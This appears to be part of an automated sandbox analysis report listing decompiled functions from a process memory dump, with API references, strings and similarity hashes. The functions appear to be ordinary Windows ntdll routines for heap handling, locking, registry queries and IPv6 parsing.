Download Yara Rule

C-Code - Quality: 100%

			E6CE33B5A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				void* _t14;
				char _t18;
				void* _t31;
				void* _t32;
				void* _t33;
				void* _t34;
				void* _t37;
				void* _t39;

				_t37 = __esi;
				_t31 = __ebx;
				_t14 = __eax;
				if( *((intOrPtr*)(_t39 - 0x40)) != __ebx || __edi < 0) {
					if(_t37 == 0) {
						goto L2;
					}
					_t32 =  *(_t39 - 0x24);
					if(_t32 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0xc0000, _t32);
						_t37 =  *(_t39 - 0x20);
					}
					_t33 =  *(_t37 + 0x1c);
					if(_t33 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0xc0000, _t33);
						_t37 =  *(_t39 - 0x20);
					}
					_t34 =  *(_t37 + 0x20);
					if(_t34 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0xc0000, _t34);
						_t37 =  *(_t39 - 0x20);
					}
					_t18 = RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0xc0000, _t37);
					 *(_t39 - 0x20) = _t31;
					return _t18;
				} else {
					L2:
					return _t14;
				}
			}

0x6ce33b5a
0x6ce33b5a
0x6ce33b5a
0x6ce33b5d
0x6ce761e6
0x00000000
0x00000000
0x6ce761ec
0x6ce761f1
0x6ce76208
0x6ce7620d
0x6ce7620d
0x6ce76210
0x6ce76215
0x6ce7622c
0x6ce76231
0x6ce76231
0x6ce76234
0x6ce76239
0x6ce76250
0x6ce76255
0x6ce76255
0x6ce7626d
0x6ce76274
0x00000000
0x6ce33b6b
0x6ce33b6b
0x6ce33b6b
0x6ce33b6b

APIs

RtlFreeHeap.1105(?,?,?,6CE33AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6CE76208
RtlFreeHeap.1105(?,?,?,6CE33AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6CE7622C
RtlFreeHeap.1105(?,?,?,6CE33AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6CE76250
RtlFreeHeap.1105(?,?,00000000,6CE33AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6CE7626D

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7efbdef83849b2dd595e49e2c2e4212b47a8781a05f856457e68a63dd459fc44
Instruction ID: 38057b1010836ca7f3c15e849045479d313c9f4c9122305182723bad1239474d
Opcode Fuzzy Hash: 7efbdef83849b2dd595e49e2c2e4212b47a8781a05f856457e68a63dd459fc44
Instruction Fuzzy Hash: 73110A36602994DFCB69DF49CA40F9A73B9FB4960CF25016CE455A7B52C328EC01CB54

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0A745, Relevance: 6.0, APIs: 4, Instructions: 46
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6CE0A745(void* __ebx, void* __ecx, void* __edx, void* __edi) {
				signed int _v12;
				void* __esi;
				signed int _t9;
				intOrPtr* _t12;
				char _t19;
				void* _t23;
				intOrPtr* _t28;
				intOrPtr _t30;
				void* _t32;
				void* _t34;
				void* _t35;
				signed int _t37;

				_push(__ecx);
				_t34 = __ecx;
				_t9 = E6CE22280( *0x6cef84cc + 0x18,  *0x6cef84cc + 0x18);
				asm("lock xadd [esi+0x14], eax");
				if((_t9 | 0xffffffff) == 1) {
					_t2 = _t34 + 8; // 0x8
					_t12 = _t2;
					_t30 =  *_t12;
					if( *((intOrPtr*)(_t30 + 4)) != _t12) {
						L7:
						asm("int 0x29");
						_t32 = 3;
						_pop(_t35);
						_pop(_t23);
						return E6CE4B640(0xc00000f0, _t23, _v12 ^ _t37, _t30, _t32, _t35);
					} else {
						_t28 =  *((intOrPtr*)(_t12 + 4));
						if( *_t28 != _t12) {
							goto L7;
						} else {
							 *_t28 = _t30;
							 *((intOrPtr*)(_t30 + 4)) = _t28;
							E6CE1FFB0(__ebx, __edi,  *0x6cef84cc + 0x18);
							_t19 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t34);
							goto L2;
						}
					}
				} else {
					_t19 = E6CE1FFB0(__ebx, __edi,  *0x6cef84cc + 0x18);
					L2:
					return _t19;
				}
			}

0x6ce0a74a
0x6ce0a754
0x6ce0a757
0x6ce0a75f
0x6ce0a765
0x6ce6440f
0x6ce6440f
0x6ce64412
0x6ce64417
0x6ce64449
0x6ce6444c
0x6ce0a86a
0x6ce0a86b
0x6ce0a86e
0x6ce0a877
0x6ce64419
0x6ce64419
0x6ce6441e
0x00000000
0x6ce64420
0x6ce64428
0x6ce6442b
0x6ce6442e
0x6ce6443f
0x00000000
0x6ce6443f
0x6ce6441e
0x6ce0a76b
0x6ce0a774
0x6ce0a779
0x6ce0a77d
0x6ce0a77d

APIs

RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,6CE3DFD8,00000000,?,?,?,?,?,6CE03DAD,?,00000000,6CEDF4D0,00000084), ref: 6CE0A757
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6CE3DFD8,00000000,?,?,?,?,?,6CE03DAD,?,00000000,6CEDF4D0), ref: 6CE0A774
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6CE3DFD8,00000000,?,?,?,?,?,6CE03DAD,?,00000000,6CEDF4D0), ref: 6CE6442E
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,00000000,?,6CE3DFD8,00000000,?,?,?,?,?,6CE03DAD), ref: 6CE6443F

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap
String ID:
API String ID: 2563869513-0
Opcode ID: c6a716870bb9f0ff1b6c6112019b1184ccc3a651a04e75040ad21a9783281e08
Instruction ID: 63014c9d9918f94d698f39358294acacddf8d237bfcc59d3137aa3632c810e74
Opcode Fuzzy Hash: c6a716870bb9f0ff1b6c6112019b1184ccc3a651a04e75040ad21a9783281e08
Instruction Fuzzy Hash: A901F272281205DBC320DB2EDC01B55B7B9FB4332CB28826BE0588BB51CA38D805CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE40E21, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000618,?,?), ref: 6CE40EDA
RtlRaiseException.1105 ref: 6CE7CC58

Strings

Flst, xrefs: 6CE40E63

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionHeapRaise
String ID: Flst
API String ID: 3789339297-2374792617
Opcode ID: 8166f2cd8a37df6dc28d05115dfc8dcefdf1e055d8a0fb0a21c55ba106e2e26d
Instruction ID: fc14f8342a5cd83b434d6898d69debf55c61ffcd7604a7ea29b2430bbd06cca0
Opcode Fuzzy Hash: 8166f2cd8a37df6dc28d05115dfc8dcefdf1e055d8a0fb0a21c55ba106e2e26d
Instruction Fuzzy Hash: CC41C9B0606301CFC714CF18D180A16FBF4EB9AB08F24866EE459CBB80DB31D846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE02240, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99memorytimeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000034,?,?,?,?,?,?,?,?,?,6CEDF350,0000004C), ref: 6CE022AC
TpAllocTimer.1105(00000020,6CED9440,00000000,00000003,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 6CE0235A

Strings

(, xrefs: 6CE02328

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocAllocateHeapTimer
String ID: (
API String ID: 2926205940-3887548279
Opcode ID: 74d2ad1762d940a833fc134ed7672dfce9cd9333d3bc46d8b39136b1fb0cf555
Instruction ID: 3a663c000aa6cc33a6e72e1f78b82a0c26072a6fca4baed9ad3a559008aacb97
Opcode Fuzzy Hash: 74d2ad1762d940a833fc134ed7672dfce9cd9333d3bc46d8b39136b1fb0cf555
Instruction Fuzzy Hash: C94126B0E1125ADFCB04CF98C880ACDBBB5BB18718F20461EE444A7B40C7B99965CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6CE066D4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6CE066F5
ZwQueryValueKey.1105(?,?,00000002,?,00000014,?,?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6CE0670B

Strings

UBR, xrefs: 6CE066EE

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitQueryStringUnicodeValue
String ID: UBR
API String ID: 3766860702-3525060630
Opcode ID: 4564a1f967330c1b80b24384c06817cd651802789aa6915d81b3203586fc136a
Instruction ID: f015936de015b4a68179969f70c6479a9647885321284bcd9d04a92bba10e7f9
Opcode Fuzzy Hash: 4564a1f967330c1b80b24384c06817cd651802789aa6915d81b3203586fc136a
Instruction Fuzzy Hash: 0F017C72A4410DAFDB00CE9AD901AEFB3BCEB45319F20416AE900E7600E730EE4587A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB8DF1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,Critical error detected %lx,?,6CEE0D50,00000074,6CEC20A2,?,?,6CEBFFAF,00000001,00000020,6CEF58C0,00000000), ref: 6CEB8E2A
RtlRaiseException.1105(?), ref: 6CEB8E74

Strings

Critical error detected %lx, xrefs: 6CEB8E21

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionPrintRaise
String ID: Critical error detected %lx
API String ID: 1813208005-802127002
Opcode ID: 76b9e83925bee9e4e70a6109c947f8450eb57f61b575226c0efe37183494765d
Instruction ID: bdd9a6daadbc49f479a9d4c6d01b898d1d1c345af1a129e65800d9343fd79555
Opcode Fuzzy Hash: 76b9e83925bee9e4e70a6109c947f8450eb57f61b575226c0efe37183494765d
Instruction Fuzzy Hash: C4113575D15349DADB25CFA88A057ECBBB0BB05318F34425EE428BBB92C7354606CF14

Uniqueness

Uniqueness Score: -1.00%

Function 6CE3E730, Relevance: 4.6, APIs: 3, Instructions: 89memorynativeCOMMON

Download Yara Rule

APIs

ZwQueryInformationProcess.1105(000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6CE9FF7D,6CEE09B0,00000014,6CE1EBD8,?,?,?,00000000), ref: 6CE3E742
RtlRaiseStatus.1105(00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6CE9FF7D,6CEE09B0,00000014,6CE1EBD8,?,?,?,00000000), ref: 6CE3E765
RtlAllocateHeap.1105(?,?,?,?,FFFFFFFE,?,?,00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6CE9FF7D), ref: 6CE3E7A3

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapInformationProcessQueryRaiseStatus
String ID:
API String ID: 1560743067-0
Opcode ID: 348088170b62fda41a2aee259af70fbd1b84c2f75a7505880a6a42bd1391c8ed
Instruction ID: ff3010edd71c5b48d152c6ea6023309cc79c41206e1af92126f0571d855cee90
Opcode Fuzzy Hash: 348088170b62fda41a2aee259af70fbd1b84c2f75a7505880a6a42bd1391c8ed
Instruction Fuzzy Hash: B5318C75A14249AFD704CF58C845B86B7F8FB49314F24829AF908CB741D631ED80CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE36B90, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction ID: 7c3feb0d16634c631b631ed527cfa2393ab7776ef86d43480a351c1b85d7d54a
Opcode Fuzzy Hash: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction Fuzzy Hash: 38F0A971A05218DFCB08CE58C690BACB7B9FB40308F3411A8E40ACBB00C239AE00DB50

Uniqueness

Uniqueness Score: -1.00%

Function 6CE06CA0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6CE06CA0(intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr* _t51;
				void* _t52;
				signed int _t54;
				signed short _t58;
				signed short _t59;
				void* _t60;
				signed short _t61;
				signed short _t62;
				signed short _t63;
				signed short _t69;
				signed short _t73;
				signed short _t74;
				signed short _t75;
				signed int _t82;
				intOrPtr _t83;
				signed short _t84;
				signed short _t86;
				signed short _t87;
				signed int _t88;
				void* _t92;
				signed int _t97;
				short _t98;
				signed short _t99;
				signed short _t101;
				signed short _t102;
				char _t103;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				signed int _t118;
				intOrPtr* _t122;
				void* _t123;
				void* _t125;
				signed int _t127;
				signed int _t129;
				signed int _t130;
				signed short _t134;
				signed int _t136;
				intOrPtr* _t139;
				void* _t146;

				_t51 = _a4;
				if(_t51 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t52 = 0xc000000d;
				} else {
					_t103 =  *_t51;
					_t97 = 0;
					_v12 = 0;
					_v20 = 0;
					_v5 = _t103;
					_t146 = _t103 - 0x5b;
					if(_t146 == 0) {
						_t51 = _t51 + 1;
						__eflags = _t103 - 0x5b;
					}
					_v6 = _t146 == 0;
					if(E6CE06D10(_t51,  &_v16, _a8) >= 0) {
						_t139 = _v16;
						_t54 = 0xa;
						__eflags =  *_t139 - 0x25;
						if( *_t139 != 0x25) {
							L22:
							__eflags =  *_t139 - 0x5d;
							if( *_t139 != 0x5d) {
								L51:
								_t98 = _v12;
								goto L52;
							} else {
								__eflags = _v5 - 0x5b;
								if(_v5 != 0x5b) {
									goto L6;
								} else {
									_t139 = _t139 + 1;
									_v6 = _t97;
									__eflags =  *_t139 - 0x3a;
									if( *_t139 != 0x3a) {
										goto L51;
									} else {
										_t139 = _t139 + 1;
										_v16 = _t54;
										_t129 = 0x10;
										__eflags =  *_t139 - 0x30;
										if( *_t139 == 0x30) {
											_t28 = _t139 + 1; // 0x4
											_t122 = _t28;
											_v16 = 8;
											_t139 = _t122;
											_t83 =  *_t139;
											__eflags = _t83 - 0x78;
											if(_t83 == 0x78) {
												L28:
												_v16 = _t129;
												_t31 = _t122 + 1; // 0x4
												_t139 = _t31;
											} else {
												__eflags = _t83 - 0x58;
												if(_t83 == 0x58) {
													goto L28;
												}
											}
										}
										_t58 =  *_t139;
										_v5 = _t58;
										__eflags = _t58;
										if(_t58 == 0) {
											goto L51;
										} else {
											_t99 = _v12;
											do {
												_t134 = _t58;
												_t59 = E6CE4CB30(_t58, _t134);
												_pop(_t107);
												__eflags = _t59;
												if(_t59 == 0) {
													L36:
													_t60 = 0x10;
													__eflags = _v16 - _t60;
													if(_v16 != _t60) {
														goto L6;
													} else {
														_t61 = E6CE4CB30(_t60, _t134);
														_pop(_t108);
														__eflags = _t61;
														if(_t61 == 0) {
															goto L6;
														} else {
															_t62 = E6CE4CDD0(_t108, _t134);
															__eflags = _t62;
															if(_t62 == 0) {
																goto L6;
															} else {
																_t63 = E6CE4CB30(_t62, _t134);
																_pop(_t110);
																__eflags = _t63;
																if(_t63 == 0) {
																	L42:
																	_push(0x41);
																} else {
																	_t74 = E6CE4CCE0(_t110, _t134);
																	__eflags = _t74;
																	if(_t74 == 0) {
																		goto L42;
																	} else {
																		_push(0x61);
																	}
																}
																_pop(_t111);
																_t68 = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134;
																__eflags = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 - 0xffff;
																if(((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 > 0xffff) {
																	goto L6;
																} else {
																	_v12 = _v12 << 4;
																	_t69 = E6CE4CB30(_t68, _t134);
																	_pop(_t112);
																	__eflags = _t69;
																	if(_t69 == 0) {
																		L47:
																		_push(0x41);
																	} else {
																		_t73 = E6CE4CCE0(_t112, _t134);
																		__eflags = _t73;
																		if(_t73 == 0) {
																			goto L47;
																		} else {
																			_push(0x61);
																		}
																	}
																	_pop(_t113);
																	asm("cbw");
																	_t114 = 0xa;
																	_t99 = _v12 + _v5 - _t113 + _t114;
																	__eflags = _t99;
																	_v12 = _t99;
																	goto L49;
																}
															}
														}
													}
												} else {
													_t75 = E6CE4CC80(_t107, _t134);
													__eflags = _t75;
													if(_t75 == 0) {
														goto L36;
													} else {
														_t118 = _v16;
														_t130 = _t118 & 0x0000ffff;
														__eflags = _t134 - 0x30 - _t130;
														if(_t134 - 0x30 >= _t130) {
															goto L36;
														} else {
															__eflags = (_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 - 0xffff;
															if((_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 > 0xffff) {
																goto L6;
															} else {
																asm("cbw");
																_t82 = _t118 * _v12 - 0x00000030 + _v5 & 0x0000ffff;
																_v12 = _t82;
																_t99 = _t82;
																goto L49;
															}
														}
													}
												}
												goto L7;
												L49:
												_t139 = _t139 + 1;
												_t58 =  *_t139;
												_v5 = _t58;
												__eflags = _t58;
											} while (_t58 != 0);
											L52:
											__eflags =  *_t139;
											if( *_t139 != 0) {
												goto L6;
											} else {
												__eflags = _v6;
												if(_v6 != 0) {
													goto L6;
												} else {
													 *_a16 = _t98;
													 *_a12 = _v20;
													_t52 = 0;
												}
											}
										}
									}
								}
							}
						} else {
							_t139 = _t139 + 1;
							_t101 =  *_t139;
							_t135 = _t101;
							_t84 = E6CE4CB30(_t54, _t101);
							_pop(_t123);
							__eflags = _t84;
							if(_t84 == 0) {
								goto L6;
							} else {
								_t85 = E6CE4CC80(_t123, _t135);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L6;
								} else {
									__eflags = _t101;
									if(_t101 == 0) {
										L21:
										_t97 = _v12;
										_t54 = 0xa;
										goto L22;
									} else {
										_t136 = _v12;
										while(1) {
											__eflags = _t101 - 0x5d;
											if(_t101 == 0x5d) {
												goto L21;
											}
											_t102 = _t101;
											_t86 = E6CE4CB30(_t85, _t102);
											_pop(_t125);
											__eflags = _t86;
											if(_t86 == 0) {
												goto L6;
											} else {
												_t87 = E6CE4CC80(_t125, _t102);
												__eflags = _t87;
												if(_t87 == 0) {
													goto L6;
												} else {
													_t88 = _v20;
													_t127 = 0xa;
													_v16 = _t88 * _t127;
													asm("cdq");
													_v16 = _v16 + _t102;
													asm("adc ecx, edx");
													_t92 = _v16 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t88 * _t127 >> 0x20 - _t136;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L20:
															_t85 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t139 = _t139 + 1;
															_v20 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t101 =  *_t139;
															__eflags = _t101;
															if(_t101 != 0) {
																continue;
															} else {
																goto L21;
															}
														} else {
															__eflags = _t92 - 0xffffffff;
															if(_t92 > 0xffffffff) {
																goto L6;
															} else {
																goto L20;
															}
														}
													}
												}
											}
											goto L7;
										}
										goto L21;
									}
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t52;
			}

0x6ce06ca5
0x6ce06cb0
0x6ce06cef
0x6ce06cef
0x6ce06cc4
0x6ce06cc4
0x6ce06cc6
0x6ce06cc8
0x6ce06ccb
0x6ce06cce
0x6ce06cd1
0x6ce06cd4
0x6ce06cfd
0x6ce06cfe
0x6ce06cfe
0x6ce06cdc
0x6ce06ce9
0x6ce61c19
0x6ce61c1e
0x6ce61c1f
0x6ce61c22
0x6ce61cc3
0x6ce61cc3
0x6ce61cc6
0x6ce61e20
0x6ce61e20
0x00000000
0x6ce61ccc
0x6ce61ccc
0x6ce61cd0
0x00000000
0x6ce61cd6
0x6ce61cd6
0x6ce61cd7
0x6ce61cda
0x6ce61cdd
0x00000000
0x6ce61ce3
0x6ce61ce3
0x6ce61ce4
0x6ce61ce9
0x6ce61cea
0x6ce61ced
0x6ce61cef
0x6ce61cef
0x6ce61cf2
0x6ce61cf9
0x6ce61cfb
0x6ce61cfd
0x6ce61cff
0x6ce61d05
0x6ce61d05
0x6ce61d08
0x6ce61d08
0x6ce61d01
0x6ce61d01
0x6ce61d03
0x00000000
0x00000000
0x6ce61d03
0x6ce61cff
0x6ce61d0b
0x6ce61d0d
0x6ce61d10
0x6ce61d12
0x00000000
0x6ce61d18
0x6ce61d18
0x6ce61d1c
0x6ce61d1c
0x6ce61d20
0x6ce61d25
0x6ce61d26
0x6ce61d28
0x6ce61d76
0x6ce61d78
0x6ce61d79
0x6ce61d7d
0x00000000
0x6ce61d83
0x6ce61d84
0x6ce61d89
0x6ce61d8a
0x6ce61d8c
0x00000000
0x6ce61d92
0x6ce61d93
0x6ce61d99
0x6ce61d9b
0x00000000
0x6ce61da1
0x6ce61da2
0x6ce61da7
0x6ce61da8
0x6ce61daa
0x6ce61dbb
0x6ce61dbb
0x6ce61dac
0x6ce61dad
0x6ce61db3
0x6ce61db5
0x00000000
0x6ce61db7
0x6ce61db7
0x6ce61db7
0x6ce61db5
0x6ce61dc3
0x6ce61dc9
0x6ce61dcb
0x6ce61dd0
0x00000000
0x6ce61dd6
0x6ce61dd6
0x6ce61ddb
0x6ce61de0
0x6ce61de1
0x6ce61de3
0x6ce61df4
0x6ce61df4
0x6ce61de5
0x6ce61de6
0x6ce61dec
0x6ce61dee
0x00000000
0x6ce61df0
0x6ce61df0
0x6ce61df0
0x6ce61dee
0x6ce61dfd
0x6ce61dfe
0x6ce61e05
0x6ce61e09
0x6ce61e09
0x6ce61e0c
0x00000000
0x6ce61e0c
0x6ce61dd0
0x6ce61d9b
0x6ce61d8c
0x6ce61d2a
0x6ce61d2b
0x6ce61d31
0x6ce61d33
0x00000000
0x6ce61d35
0x6ce61d35
0x6ce61d3b
0x6ce61d3e
0x6ce61d40
0x00000000
0x6ce61d42
0x6ce61d4d
0x6ce61d52
0x00000000
0x6ce61d58
0x6ce61d5f
0x6ce61d68
0x6ce61d6b
0x6ce61d6e
0x00000000
0x6ce61d6e
0x6ce61d52
0x6ce61d40
0x6ce61d33
0x00000000
0x6ce61e10
0x6ce61e10
0x6ce61e11
0x6ce61e13
0x6ce61e16
0x6ce61e16
0x6ce61e24
0x6ce61e24
0x6ce61e27
0x00000000
0x6ce61e2d
0x6ce61e2d
0x6ce61e31
0x00000000
0x6ce61e37
0x6ce61e3e
0x6ce61e47
0x6ce61e49
0x6ce61e49
0x6ce61e31
0x6ce61e27
0x6ce61d12
0x6ce61cdd
0x6ce61cd0
0x6ce61c28
0x6ce61c28
0x6ce61c29
0x6ce61c2b
0x6ce61c2f
0x6ce61c34
0x6ce61c35
0x6ce61c37
0x00000000
0x6ce61c3d
0x6ce61c3e
0x6ce61c44
0x6ce61c46
0x00000000
0x6ce61c4c
0x6ce61c4c
0x6ce61c4e
0x6ce61cbd
0x6ce61cbd
0x6ce61cc2
0x00000000
0x6ce61c50
0x6ce61c50
0x6ce61c53
0x6ce61c53
0x6ce61c56
0x00000000
0x00000000
0x6ce61c58
0x6ce61c5c
0x6ce61c61
0x6ce61c62
0x6ce61c64
0x00000000
0x6ce61c6a
0x6ce61c6b
0x6ce61c71
0x6ce61c73
0x00000000
0x6ce61c79
0x6ce61c79
0x6ce61c7e
0x6ce61c81
0x6ce61c88
0x6ce61c89
0x6ce61c8f
0x6ce61c91
0x6ce61c94
0x6ce61c97
0x6ce61c99
0x00000000
0x6ce61c9f
0x6ce61c9f
0x6ce61caa
0x6ce61cb1
0x6ce61cb3
0x6ce61cb4
0x6ce61cb7
0x6ce61cb9
0x6ce61cbb
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce61ca1
0x6ce61ca1
0x6ce61ca4
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce61ca4
0x6ce61c9f
0x6ce61c99
0x6ce61c73
0x00000000
0x6ce61c64
0x00000000
0x6ce61c53
0x6ce61c4e
0x6ce61c46
0x6ce61c37
0x00000000
0x00000000
0x00000000
0x6ce06ce9
0x6ce06cf4
0x6ce06cfa

APIs

RtlIpv6StringToAddressA.1105(?,00000000,?,00000000), ref: 6CE06CE2

Strings

[, xrefs: 6CE61CCC

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID: [
API String ID: 27538981-784033777
Opcode ID: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction ID: eecdb4823eedfb74f57760344bf991ba175e5c6f4cdab671cf57089f838ae286
Opcode Fuzzy Hash: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction Fuzzy Hash: 78714931B542466AEB059AB9D8A07EE77B8AF0632CF38455ED8A0D7FC0D734C186C750

Uniqueness

Uniqueness Score: -1.00%

Function 6CE08EE6, Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 148COMMON

Download Yara Rule

Strings

SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!, xrefs: 6CE634FF
RtlpCrackActivationContextStringSectionHeader, xrefs: 6CE634EC, 6CE634FA, 6CE63517, 6CE63538, 6CE63548, 6CE63558, 6CE63572, 6CE63589, 6CE63598
